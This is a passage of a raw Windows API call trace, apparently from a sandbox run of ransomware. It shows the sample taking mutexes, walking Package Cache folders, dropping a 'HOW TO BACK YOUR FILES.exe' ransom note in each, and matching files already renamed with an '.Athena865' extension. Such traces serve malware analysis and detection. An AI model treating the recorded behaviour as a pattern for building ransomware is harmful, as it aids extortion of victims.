hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aca8 | out: hHeap=0x4f0000) returned 1 [0103.067] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 88 [0103.067] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9F33D875B8130E903B1C40CDCE56A646") returned 0xec [0103.067] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.067] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0103.067] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.068] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.068] GetLastError () returned 0x0 [0103.068] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.069] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.069] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe26aa820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe26aa820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.069] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.069] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.069] lstrcpyW (in: lpString1=0x241e8fa, lpString2="state.rsm.Athena865" | out: lpString1="state.rsm.Athena865") returned="state.rsm.Athena865" [0103.069] lstrlenW (lpString="state.rsm.Athena865") returned 19 [0103.069] lstrlenW (lpString="Athena865") returned 9 [0103.069] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.069] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xe26d0980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6f6a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 1 [0103.069] lstrcmpiW (lpString1="vcredist_x64.exe.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.069] lstrcmpiW (lpString1="vcredist_x64.exe.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.069] lstrcpyW (in: lpString1=0x241e8fa, lpString2="vcredist_x64.exe.Athena865" | out: lpString1="vcredist_x64.exe.Athena865") returned="vcredist_x64.exe.Athena865" [0103.069] lstrlenW (lpString="vcredist_x64.exe.Athena865") returned 26 [0103.069] lstrlenW (lpString="Athena865") returned 9 [0103.069] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.069] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xe26d0980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6f6a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 0 [0103.069] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.069] ReleaseMutex (hMutex=0xec) returned 1 [0103.069] CloseHandle (hObject=0xec) returned 1 [0103.070] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0103.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b210 | out: hHeap=0x4f0000) returned 1 [0103.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52acc0 | out: hHeap=0x4f0000) returned 1 [0103.070] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 99 [0103.070] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AF6FDC59F52DDF86393ED19FAB8EEBDC") returned 0xec [0103.070] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.070] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0103.070] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.070] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.070] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.071] GetLastError () returned 0x0 [0103.071] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.072] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.072] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.072] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.072] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.072] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.072] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.072] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.072] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.073] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe2742da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2742da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.073] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.073] ReleaseMutex (hMutex=0xec) returned 1 [0103.073] CloseHandle (hObject=0xec) returned 1 [0103.073] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0103.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5264d0 | out: hHeap=0x4f0000) returned 1 [0103.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52acd8 | out: hHeap=0x4f0000) returned 1 [0103.073] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 100 [0103.073] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\674839DF1C3B62198D29B390C79E89CC") returned 0xec [0103.073] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.073] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0103.073] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.073] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.074] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.074] GetLastError () returned 0x0 [0103.074] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.075] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.075] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.075] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.075] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.075] lstrcpyW (in: lpString1=0x241e912, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.075] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.075] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.075] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.076] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xe2768f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2768f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.076] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.076] ReleaseMutex (hMutex=0xec) returned 1 [0103.076] CloseHandle (hObject=0xec) returned 1 [0103.076] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0103.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51c348 | out: hHeap=0x4f0000) returned 1 [0103.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52acf0 | out: hHeap=0x4f0000) returned 1 [0103.076] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 88 [0103.076] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C034D149E96F2AA4C0366818E4E2863F") returned 0xec [0103.076] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.076] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0103.076] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.076] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.077] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.077] GetLastError () returned 0x0 [0103.077] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.078] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.078] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xe29a43a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe29a43a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.078] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.078] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.078] lstrcpyW (in: lpString1=0x241e8fa, lpString2="state.rsm.Athena865" | out: lpString1="state.rsm.Athena865") returned="state.rsm.Athena865" [0103.078] lstrlenW (lpString="state.rsm.Athena865") returned 19 [0103.078] lstrlenW (lpString="Athena865") returned 9 [0103.078] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.078] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe29a43a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x64.exe.Athena865", cAlternateFileName="VC_RED~1.ATH")) returned 1 [0103.078] lstrcmpiW (lpString1="VC_redist.x64.exe.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.078] lstrcmpiW (lpString1="VC_redist.x64.exe.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.078] lstrcpyW (in: lpString1=0x241e8fa, lpString2="VC_redist.x64.exe.Athena865" | out: lpString1="VC_redist.x64.exe.Athena865") returned="VC_redist.x64.exe.Athena865" [0103.078] lstrlenW (lpString="VC_redist.x64.exe.Athena865") returned 27 [0103.078] lstrlenW (lpString="Athena865") returned 9 [0103.078] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.078] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe29a43a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x64.exe.Athena865", cAlternateFileName="VC_RED~1.ATH")) returned 0 [0103.078] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.079] ReleaseMutex (hMutex=0xec) returned 1 [0103.079] CloseHandle (hObject=0xec) returned 1 [0103.079] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0103.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51c408 | out: hHeap=0x4f0000) returned 1 [0103.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ad08 | out: hHeap=0x4f0000) returned 1 [0103.079] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 88 [0103.079] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A6D2F99BA14CDE0F5D5D914E1B2A832C") returned 0xec [0103.079] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.079] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0103.079] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.079] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.080] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.080] GetLastError () returned 0x0 [0103.080] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.081] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.081] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2b472c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2b472c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.081] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.081] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.081] lstrcpyW (in: lpString1=0x241e8fa, lpString2="state.rsm.Athena865" | out: lpString1="state.rsm.Athena865") returned="state.rsm.Athena865" [0103.081] lstrlenW (lpString="state.rsm.Athena865") returned 19 [0103.081] lstrlenW (lpString="Athena865") returned 9 [0103.081] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.081] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xe2b472c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x71380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 1 [0103.081] lstrcmpiW (lpString1="vcredist_x86.exe.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.081] lstrcmpiW (lpString1="vcredist_x86.exe.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.081] lstrcpyW (in: lpString1=0x241e8fa, lpString2="vcredist_x86.exe.Athena865" | out: lpString1="vcredist_x86.exe.Athena865") returned="vcredist_x86.exe.Athena865" [0103.081] lstrlenW (lpString="vcredist_x86.exe.Athena865") returned 26 [0103.081] lstrlenW (lpString="Athena865") returned 9 [0103.081] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.081] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xe2b472c0, 